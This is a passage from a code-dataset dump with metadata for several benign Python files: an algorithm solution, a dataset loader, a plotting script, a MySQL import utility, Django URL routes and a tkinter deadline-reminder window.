"sciety_labs.models.sciety_event.ScietyEventNames.ARTICLE_ADDED_TO_LIST", "line_number": 175, "usage_type": "attribute"}, {"api_name": "sciety_labs.models.sciety_event.ScietyEventNames", "line_number": 175, "usage_type": "name"}, {"api_name": "sciety_labs.models.sciety_event.ScietyEventNames.ANNOTATION_CREATED", "line_number": 179, "usage_type": "attribute"}, {"api_name": "sciety_labs.models.sciety_event.ScietyEventNames", "line_number": 179, "usage_type": "name"}, {"api_name": "sciety_labs.models.sciety_event.ScietyEventNames.ARTICLE_REMOVED_FROM_LIST", "line_number": 187, "usage_type": "attribute"}, {"api_name": "sciety_labs.models.sciety_event.ScietyEventNames", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 212, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 218, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 220, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 220, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 221, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 235, "usage_type": "name"}, {"api_name": "sciety_labs.models.article.ArticleAuthor", "line_number": 257, "usage_type": "call"}, {"api_name": "sciety_labs.models.article.get_doi_from_article_id_or_none", "line_number": 260, "usage_type": "call"}, {"api_name": "sciety_labs.models.article.ArticleComment", "line_number": 265, "usage_type": "call"}, {"api_name": "sciety_labs.models.article.ArticleMention", "line_number": 272, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 255, "usage_type": "name"}, {"api_name": "sciety_labs.models.article.ArticleMention", "line_number": 255, "usage_type": "name"}, {"api_name": "sciety_labs.models.article.ArticleMention.get_created_at_sort_key", "line_number": 284, "usage_type": "attribute"}, {"api_name": "sciety_labs.models.article.ArticleMention", "line_number": 284, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 281, "usage_type": "name"}, {"api_name": "sciety_labs.models.article.ArticleMention", "line_number": 281, "usage_type": "name"}]}
{"seq_id": "39743283524", "text": "class Solution:\n    \"\"\"\n    Given an integer array nums and an integer k, return the k most frequent elements. You may return the answer in any order.\n\n    Best Case -\n    Time complexity of O(nlogn) as we have to traverse the given array atleast once and sort it for freq\n\n    Soln 1 -\n    Use collections.counter and return most_common. This returns a list of most common tuples as (element, frequency).\n    We can use zip to convert them to list of most common elements\n    We can also use a for loop to get list\n\n    Soln 2 -\n    Use Modified Bucket Sort. Create dict with k=element and v=freq of element. Create a freq_array with len(input_array)\n    where index of array is the freq of the element and values in the array are the list of elements.\n    Use the dict to list all the items and use those tuples to populate the freq_array.\n    This freq_array will have elements sorted based on freq with most freq element in highest index value\n    We scan this freq_array from highest to lowest index and return when we have k elements in result array\n\n    \"\"\"\n\n    def topKFrequent_soln1(self, nums: List[int], k: int) -> List[int]:\n        import collections\n\n        most_freq_k_tuples = collections.Counter(nums).most_common(k)\n        return [x for x, y in most_freq_k_tuples]\n        # return list(zip(*most_freq_k_tuples))[0]\n\n    def topKFrequent_soln2(self, nums: List[int], k: int) -> List[int]:\n        count_dict = {}\n        freq = [[] for i in range(len(nums) + 1)]\n\n        # Create dict with k=element and v=freq of element\n        for num in nums:\n            count_dict[num] = 1 + count_dict.get(num, 0)\n        # Add to the freq array\n        for num, count in count_dict.items():\n            freq[count].append(num)\n\n        res = []\n        for i in range(len(freq) - 1, 0, -1):\n            for n in freq[i]:\n                res.append(n)\n                if len(res) == k:\n                    return res\n", "repo_name": "anurag3/python-scratch-pad", "sub_path": "347-Top-K-Frequent-Elements.py", "file_name": "347-Top-K-Frequent-Elements.py", "file_ext": "py", "file_size_in_byte": 1929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.Counter", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "2987056185", "text": "from haystack.preprocessor.utils import fetch_archive_from_http\nimport json\n\n\nclass NQDataset:\n    def __init__(self):\n        self.s3_url_train = 'https://dl.fbaipublicfiles.com/dpr/data/retriever/biencoder-nq-train.json.gz'\n        self.s3_url_dev = 'https://dl.fbaipublicfiles.com/dpr/data/retriever/biencoder-nq-dev.json.gz'\n        fetch_archive_from_http(self.s3_url_dev, output_dir='corpus/dev')\n        fetch_archive_from_http(self.s3_url_train, output_dir='corpus/train')\n\n        self.data_dir = 'corpus'\n        self.train_filename = 'train/biencoder-nq-train.json'\n        self.dev_filename = 'dev/biencoder-nq-dev.json'\n\n    def train_set(self):\n        return self._iter_set('corpus/%s' % self.train_filename)\n\n    def dev_set(self):\n        return self._iter_set('corpus/%s' % self.dev_filename)\n\n    def _iter_set(self, dpr_train_split):\n        stack = 0\n        read = ''\n        with open(dpr_train_split, 'r') as corpus:\n            for line in corpus:\n                if line.startswith('[') or line.startswith(']'):\n                    continue\n                line = line.lstrip()\n                if line.startswith('}'):\n                    stack -= 1\n                    if stack == 0:\n                        line = line.replace(',', '')\n                if line.startswith('{'):\n                    stack += 1\n                read += line\n                if stack == 0:\n                    try:\n                        d = json.loads(read)\n                        read = ''\n                        yield d\n                    except Exception:\n                        # print('fail parsing to json ', read)\n                        print('fail parsing to json ')\n                        read = ''\n                    #     continue\n                # if d['meta']['title']:\n                #     d['meta']['name'] = d['meta']['title']\n", "repo_name": "omerlevi2/NLP_Project", "sub_path": "dpr/retrievers/dataset/NQDataset.py", "file_name": "NQDataset.py", "file_ext": "py", "file_size_in_byte": 1859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "haystack.preprocessor.utils.fetch_archive_from_http", "line_number": 9, "usage_type": "call"}, {"api_name": "haystack.preprocessor.utils.fetch_archive_from_http", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "40549503253", "text": "#\n#https://stackoverflow.com/questions/21397549/stack-bar-plot-in-matplotlib-and-add-label-to-each-section\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# some labels for each row\npeople = ('A','B','C','D','E','F','G','H')\nr = len(people)\n\n# how many data points overall (average of 3 per person)\nn = r * 3\n\n# which person does each segment belong to?\nrows = np.random.randint(0, r, (n,))\n# how wide is the segment?\nwidths = np.random.randint(3,12, n,)\n# what label to put on the segment (xrange in py2.7, range for py3)\nlabels = range(n)\ncolors ='rgbwmc'\n\npatch_handles = []\n\nfig = plt.figure(figsize=(10,8))\nax = fig.add_subplot(111)\n\n\n\nleft = np.zeros(r,)\nrow_counts = np.zeros(r,)\n\nfor (r, w, l) in zip(rows, widths, labels):\n    #print r, w, l\n    patch_handles.append(ax.barh(r, w, align='center', left=left[r],\n        color=colors[int(row_counts[r]) % len(colors)]))\n    left[r] += w\n    row_counts[r] += 1\n    # we know there is only one patch but could enumerate if expanded\n    patch = patch_handles[-1][0] \n    bl = patch.get_xy()\n    x = 0.5*patch.get_width() + bl[0]\n    y = 0.5*patch.get_height() + bl[1]\n    ax.text(x, y, \"%d%%\" % (l), ha='center',va='center')\n  \ny_pos = np.arange(8)\nax.set_yticks(y_pos)\nax.set_yticklabels(people)\nax.set_xlabel('Distance')\n\nplt.show()\n", "repo_name": "boeiar/stacked", "sub_path": "tgorg.py", "file_name": "tgorg.py", "file_ext": "py", "file_size_in_byte": 1293, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.randint", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]}
{"seq_id": "19837127510", "text": "import os\nimport pandas as pd\nimport sqlalchemy as db\nimport mysql.connector\n\nDB_USER = os.environ.get('MYSQL_USER')\nDB_PWD = os.environ.get('MYSQL_PWD')\nDB_HOST = os.environ.get('MYSQL_HOST')\nDB_PORT = os.environ.get('MYSQL_PORT')\nDB_SCHEMA = os.environ.get('MYSQL_DB')\n\n\ndef import_equip():\n    \"\"\"\n    Reads exported CSV of EQUIP_SUM tab from Blank Concept of Support Model UNCLASSIFIED aka Redonkulator\n    and populates equipment table with complete edl list.\n    :return: void\n    \"\"\"\n    df = pd.read_csv('redonkulator_app/db/equip.csv')\n    df.rename(columns={\n        'EQUIP TYPE': 'type',\n        'CUBIC FEET': 'cuft',\n        'WT (GVW COMBAT LOADED)': 'gvw_combat_loaded',\n        'FUEL CAPACITY': 'fuel_capacity',\n        'BURN RATE (MPG OR MPH)': 'burn_rate',\n        'FUEL PAYLOAD': 'fuel_payload',\n        'WATER PAYLOAD': 'water_payload',\n        'PALLETS/PALCON': 'pallets_palcons',\n        'SIXCON TRANSSPO': 'sixcon_transpo',\n        'ISCOCON': 'isocon',\n        'COMBAT LOAD PALLET': 'combat_load_pallet',\n        'COMBAT LOAD PALLET WEIGHT': 'combat_load_pallet_wt',\n        'ASLT RATE PALLET': 'aslt_rate_pallet',\n        'ASLT RATE PALLET WEIGHT': 'aslt_rate_pallet_wt',\n        'SUSTAIN RATE PALLET': 'sustain_rate_pallet',\n        'SUSTAIN RATE PALLET WEIGHT': 'sustain_rate_pallet_wt'\n    }, inplace=True)\n    df.drop(df.iloc[:, 46:], axis=1, inplace=True)  # drop empty col through TOTAL LCU\n    df.drop(df.iloc[:, 39:40], axis=1, inplace=True)  # drop empty col '.'\n    df.drop(df.iloc[:, 3:22], axis=1, inplace=True)  # drop AAV BN through LE BATTALION and empty 'w'\n    df.dropna(subset=['TAMCN'], inplace=True)  # tamcn is only field requiring non-null.\n\n    engine = db.create_engine(f'mysql+mysqldb://{DB_USER}:{DB_PWD}@{DB_HOST}:{DB_PORT}/{DB_SCHEMA}')\n    df.to_sql(name='equipment', con=engine, schema='redonkulator', if_exists='append', index=False)\n\n\ndef import_generic_edl():\n    \"\"\"\n    Reads exported CSV of EQUIP_SUM tab from Blank Concept of Support Model UNCLASSIFIED aka Redonkulator\n    and populates generic_edl table with quantities of each equipment item expected to reside in various\n    unit types; i.e. AAV Bn, Arty Bn, CAB, etc.\n    :return: void\n    \"\"\"\n    df = pd.read_csv('redonkulator_app/db/equip.csv')\n    df.drop(df.iloc[:, 17:], axis=1, inplace=True)  # mpsron 3, 2, mpf total, le bn, and everything after\n    df.drop(df.iloc[:, 14:16], axis=1, inplace=True)  # 4th Mar, 7th mar (all reg hq data comes from 3d mar)\n    df.drop(df.iloc[:, 11:12], axis=1, inplace=True)  # tank bn\n    df.drop(df.iloc[:, 1:3], axis=1, inplace=True)  # nomen, equip type\n    df.dropna(subset=['TAMCN'], inplace=True)  # tamcn is only field requiring non-null.\n\n    df.rename(columns={\n        'AAV BN': 'AAV BN',\n        'ARTILLERY BN': 'ARTY BN',\n        'CBT ENG BN': 'CEB',\n        'HIMARS BN (5/11)': 'HIMAR BN',\n        'INFANTRY BN': 'INF BN',\n        'DIV HQ BN': 'DIV HQ',\n        '3D MARINES HQ CO': 'REGT HQ',\n        '12 MARINES HQ BAT': 'ARTY REGT HQ',\n    }, inplace=True)\n\n    df['equipment_id'] = df.apply(tamcn_to_id, axis=1)\n    df.drop('TAMCN', axis=1, inplace=True)\n\n    engine = db.create_engine(f'mysql+mysqldb://{DB_USER}:{DB_PWD}@{DB_HOST}:{DB_PORT}/{DB_SCHEMA}')\n    for col in df:\n        if col != 'equipment_id':\n            unit_df = df[['equipment_id', col]].copy()\n            unit_df.rename(columns={\n                col: 'quantity'\n            }, inplace=True)\n            unit_df['unit_type'] = col\n            unit_df.to_sql(name='generic_edl', con=engine, schema='redonkulator', if_exists='append', index=False)\n\n\ndef tamcn_to_id(row):\n    \"\"\"\n    Get equipment_id from TAMCN\n    :param row: DataFrame row containing 'TAMCN' column.\n    :return: equipment_id (integer)\n    \"\"\"\n    tamcn = row['TAMCN']\n    cnx = mysql.connector.connect(user=DB_USER, password=DB_PWD, host=DB_HOST, database=DB_SCHEMA)\n    cur = cnx.cursor()\n    sql = \"select id from equipment where tamcn = %s\"\n    params = (tamcn,)\n    cur.execute(sql, params)\n    for equipment_id, in cur:\n        return equipment_id\n\n\nif __name__ == '__main__':\n    import_equip()\n    import_generic_edl()\n", "repo_name": "naomiwhidden/innovation_challenge_testing", "sub_path": "db_utils.py", "file_name": "db_utils.py", "file_ext": "py", "file_size_in_byte": 4137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ.get", "line_number": 6, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 8, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 75, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 93, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 93, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 93, "usage_type": "name"}]}
{"seq_id": "22569987108", "text": "from django.urls import path, include\nfrom .views import (\n    MataKuliahSemesterCreateView,\n    MataKuliahSemesterReadView,\n    MataKuliahSemesterBulkDeleteView,\n\n    KelasMataKuliahSemesterUpdateView,\n    KelasMataKuliahSemesterDeleteView,\n\n    PesertaMataKuliahSemesterCreateView,\n    PesertaMataKuliahBulkUpdateView,\n    PesertaMataKuliahBulkDeleteView,\n    StudentPerformanceReadView,\n    StudentPerformanceCalculateView,\n\n    NilaiKomponenCloEditView,\n    NilaiKomponenCloPesertaEditView,\n    ImportNilaiMataKuliahSemesterView,\n    LoadingImportNilaiMataKuliahSemesterView,\n\n    NilaiAverageCloAchievementCalculateView,\n    NilaiAverageCloAchivementDeleteView\n)\n\n\napp_name = 'mata_kuliah_semester'\nurlpatterns = [\n    path('<int:mk_semester_id>/', MataKuliahSemesterReadView.as_view(), name='read'),\n    path('create/', MataKuliahSemesterCreateView.as_view(), name='create'),\n    path('bulk-delete/', MataKuliahSemesterBulkDeleteView.as_view(), name='bulk-delete'),\n\n    # Kelas MK Semester\n    path('<int:mk_semester_id>/kelas/bulk-update/', KelasMataKuliahSemesterUpdateView.as_view(), name='kelas-mk-semester-bulk-update'),\n    path('<int:mk_semester_id>/kelas/<int:kelas_mk_semester_id>/', KelasMataKuliahSemesterDeleteView.as_view(), name='kelas-mk-semester-delete'),\n    \n    # Peserta Mata Kuliah\n    path('<int:mk_semester_id>/peserta/<int:peserta_id>/', StudentPerformanceReadView.as_view(), name='student-performance'),\n    path('<int:mk_semester_id>/peserta/<int:peserta_id>/calculate/', StudentPerformanceCalculateView.as_view(), name='calculate-student-performance'),\n    path('<int:mk_semester_id>/peserta/create/', PesertaMataKuliahSemesterCreateView.as_view(), name='peserta-create'),\n    path('<int:mk_semester_id>/peserta/bulk-delete/', PesertaMataKuliahBulkDeleteView.as_view(), name='peserta-bulk-delete'),\n    path('<int:mk_semester_id>/peserta/bulk-update/', PesertaMataKuliahBulkUpdateView.as_view(), name='peserta-bulk-update'),\n\n    # Nilai Komponen CLO\n    path('<int:mk_semester_id>/nilai/edit/', NilaiKomponenCloEditView.as_view(), name='nilai-komponen-edit'),\n    path('<int:mk_semester_id>/nilai/<int:peserta_id>/hx-edit/', NilaiKomponenCloPesertaEditView.as_view(template_name='mata-kuliah-semester/partials/nilai-komponen/peserta-edit-form.html'), name='hx-nilai-komponen-peserta-edit'),\n    path('<int:mk_semester_id>/nilai/<int:peserta_id>/edit/', NilaiKomponenCloPesertaEditView.as_view(template_name='mata-kuliah-semester/nilai-komponen/edit-view.html'), name='nilai-komponen-peserta-edit'),\n    path('<int:mk_semester_id>/nilai/hx-import/', ImportNilaiMataKuliahSemesterView.as_view(template_name='mata-kuliah-semester/partials/nilai-komponen/import-form-modal.html'), name='hx-nilai-komponen-import'),\n    path('<int:mk_semester_id>/nilai/import/', ImportNilaiMataKuliahSemesterView.as_view(template_name='mata-kuliah-semester/nilai-komponen/import-form-view.html'), name='nilai-komponen-import'),\n    path('<int:mk_semester_id>/nilai/import-loading/', LoadingImportNilaiMataKuliahSemesterView.as_view(), name='loading-nilai-komponen-import'),\n\n    # Nilai Average CLO Achivement\n    path('<int:mk_semester_id>/results/nilai-avg-calculate/', NilaiAverageCloAchievementCalculateView.as_view(), name='nilai-avg-calculate'),\n    path('<int:mk_semester_id>/results/delete/', NilaiAverageCloAchivementDeleteView.as_view(), name='results-delete'),\n    \n    # CLO\n    path('<int:mk_semester_id>/cpmk/', include('clo.urls')),\n\n    # RPS\n    path('<int:mk_semester_id>/rps/', include('rps.urls')),\n]\n", "repo_name": "alfianAH/learning-outcomes-assessment", "sub_path": "mata_kuliah_semester/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 3535, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterReadView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterReadView", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterCreateView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterCreateView", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterBulkDeleteView.as_view", "line_number": 30, "usage_type": "call"}, {"api_name": "views.MataKuliahSemesterBulkDeleteView", "line_number": 30, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "views.KelasMataKuliahSemesterUpdateView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "views.KelasMataKuliahSemesterUpdateView", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "views.KelasMataKuliahSemesterDeleteView.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "views.KelasMataKuliahSemesterDeleteView", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "views.StudentPerformanceReadView.as_view", "line_number": 37, "usage_type": "call"}, {"api_name": "views.StudentPerformanceReadView", "line_number": 37, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "views.StudentPerformanceCalculateView.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "views.StudentPerformanceCalculateView", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahSemesterCreateView.as_view", "line_number": 39, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahSemesterCreateView", "line_number": 39, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahBulkDeleteView.as_view", "line_number": 40, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahBulkDeleteView", "line_number": 40, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahBulkUpdateView.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "views.PesertaMataKuliahBulkUpdateView", "line_number": 41, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloEditView.as_view", "line_number": 44, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloEditView", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloPesertaEditView.as_view", "line_number": 45, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloPesertaEditView", "line_number": 45, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloPesertaEditView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "views.NilaiKomponenCloPesertaEditView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "views.ImportNilaiMataKuliahSemesterView.as_view", "line_number": 47, "usage_type": "call"}, {"api_name": "views.ImportNilaiMataKuliahSemesterView", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "views.ImportNilaiMataKuliahSemesterView.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "views.ImportNilaiMataKuliahSemesterView", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "views.LoadingImportNilaiMataKuliahSemesterView.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "views.LoadingImportNilaiMataKuliahSemesterView", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "views.NilaiAverageCloAchievementCalculateView.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "views.NilaiAverageCloAchievementCalculateView", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "views.NilaiAverageCloAchivementDeleteView.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "views.NilaiAverageCloAchivementDeleteView", "line_number": 53, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 59, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "36338055567", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 26 12:09:24 2022\r\n\r\n@author: wenjie\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nfrom  tkinter import ttk\r\nimport tkinter.font as tkFont\r\nimport pygame\r\nfrom PIL import Image, ImageTk\r\n\r\n\r\nclass notification(tk.Tk):\r\n    \r\n    def __init__(self,day,lis):\r\n\r\n        tk.Tk.__init__(self)\r\n        self.day = day\r\n        self.lis = lis\r\n        \r\n        num_assignment = len(self.lis)\r\n        windowheight = max(150+num_assignment*15,160)\r\n        \r\n        self.title('NTU COOLONG ALARM')\r\n        self.geometry('700x%d+400+250' % (windowheight))\r\n        self.resizable(width=0, height=0)\r\n        self.music()\r\n        self.iconbitmap('./notification/icon.ico')\r\n        self.createWindow()\r\n        \r\n    def music(self):\r\n        pygame.mixer.init()\r\n        pygame.mixer.music.set_volume(1.0)\r\n        pygame.mixer.music.load('./notification/bgm.mp3')\r\n        pygame.mixer.music.play(0)\r\n        \r\n    def table(self):\r\n        bg_color = 'beige'\r\n        treeheight = len(self.lis)+2\r\n        columns=(\"Course\",\"Assignment\",\"Deadline\")\r\n        tree=ttk.Treeview(self,height=treeheight,show=\"headings\",columns=columns)\r\n        tree.column(\"Course\",width=190,anchor='w')   #表示列,不顯示\r\n        tree.column(\"Assignment\",width=190,anchor='w')\r\n        tree.column(\"Deadline\",width=170,anchor='center')\r\n        tree.heading(\"Course\",text=\"Class\")  #顯示表頭\r\n        tree.heading(\"Assignment\",text=\"Content\")\r\n        tree.heading(\"Deadline\",text=\"Deadline\")\r\n        tree.place(relx=0.42,rely=0.42,anchor='center')\r\n        style = ttk.Style()\r\n\r\n        #表格顏色\r\n        style.theme_use('clam')\r\n        style.configure(\"Treeview\", background=bg_color, \r\n                             foreground=\"black\", fieldbackground=bg_color)\r\n        #表格內容\r\n        style.map(\"Treeview\",\r\n                  background=[('selected','darkseagreen')])\r\n        index = 0\r\n        for i in range(len(self.lis)):\r\n            tree.insert('',index,values=(self.lis[i].course,self.lis[i].name,self.lis[i].deadline))\r\n            index+=1\r\n                \r\n    def msg(self):\r\n        bg_color = 'beige'\r\n        fontStyle = tkFont.Font(family=\"微軟正黑體\", size=10, weight='bold')\r\n        labelmsg = tk.Label(self,                 # 文字標示所在視窗\r\n                         text = '快要考試/交作業囉！加油！！',\r\n                         font=fontStyle,fg='crimson',\r\n                         bg=bg_color)  # 顯示文字\r\n        labelmsg.place(relx=0.42,rely=0.90,anchor='center')\r\n        self.configure(bg=bg_color)\r\n        \r\n    def image(self):\r\n        bg_color = 'beige'  #背景顏色\r\n        image = Image.open(\"./notification/bomb.png\")\r\n        image = image.resize((100, 100), Image.ANTIALIAS)\r\n        self.display = ImageTk.PhotoImage(image)\r\n        labelbomb = tk.Label(self, image=self.display,bg=bg_color)\r\n        labelbomb.place(relx=0.9,rely=0.42,anchor='center')\r\n\r\n    def button(self):\r\n        leaveBtn = tk.Button(self, text='離開',width=10, highlightbackground='beige', fg='darkseagreen',command=lambda:[self.destroy(),self.leave()])\r\n        leaveBtn.place(relx=0.9,rely=0.88,anchor='center')\r\n        \r\n    def createWindow(self):\r\n        self.msg()\r\n        self.table()\r\n        self.image()\r\n        self.button()\r\n        \r\n    def __del__(self):\r\n        pygame.mixer.music.stop()   #停止音效\r\n            \r\nif __name__ == \"__main__\":\r\n    class assign:\r\n        \r\n        def __init__(self,course,name,deadline):\r\n            self.course = course\r\n            self.name = name\r\n            self.deadline = deadline\r\n        \r\n    a1 = assign('作業研究 Operations Research','Homework 1','2022-06-05')\r\n    a2 = assign('作業研究 Operations Research','Homework 2','2022-06-05')\r\n    a3 = assign('C/C++程式設計 C/C++ Programming','Case Assignment 1','2022-06-05')\r\n\r\n    set_day = 2\r\n    lis = [a1,a2,a3]\r\n    noti = notification(set_day,lis)\r\n    #noti.after(30000, lambda: noti.destroy())\r\n    noti.mainloop()\r\n", "repo_name": "PBC-110-2-Final-Project-Group-3/NTU_Coolong", "sub_path": "notification/notifi.py", "file_name": "notifi.py", "file_ext": "py", "file_size_in_byte": 4047, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tkinter.Tk", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tkinter.Tk.__init__", "line_number": 19, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.mixer.init", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.set_volume", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 43, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 43, "usage_type": "name"}, {"api_name": "tkinter.ttk.Style", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 51, "usage_type": "name"}, {"api_name": "tkinter.font.Font", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 67, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 68, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 77, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 77, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 78, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 78, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 79, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 79, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 80, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.mixer.music.stop", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 94, "usage_type": "attribute"}]}
